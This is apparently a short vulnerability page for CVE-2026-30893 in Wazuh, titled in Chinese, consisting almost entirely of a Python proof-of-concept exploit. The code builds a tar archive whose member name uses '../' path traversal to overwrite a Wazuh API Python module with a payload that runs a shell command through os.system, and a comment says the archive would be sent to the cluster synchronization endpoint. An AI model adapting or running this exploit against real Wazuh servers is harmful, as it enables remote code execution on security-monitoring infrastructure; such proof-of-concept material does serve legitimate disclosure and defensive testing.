CVE-2026-30893 Wazuh路径遍历导致远程代码执行漏洞

import tarfile import io # Malicious payload to be executed payload_code = "import os; os.system('touch /tmp/pwned')" # Create a malicious tar archive using path traversal # This aims to overwrite a Python module loaded by Wazuh archive_buffer = io.BytesIO() with tarfile.open(fileobj=archive_buffer, mode="w") as tar: # Construct file info with path traversal sequence ('../') # Targeting a hypothetical Wazuh module path malicious_file_name = "../../../../var/ossec/api/python/wazuh.py" info = tarfile.TarInfo(name=malicious_file_name) info.size = len(payload_code) # Add the payload to the archive tar.addfile(info, io.BytesIO(payload_code.encode())) # Note: In a real attack scenario, this archive would be sent # to the vulnerable cluster synchronization endpoint. print(f"Generated malicious PoC archive size: {len(archive_buffer.getvalue())}")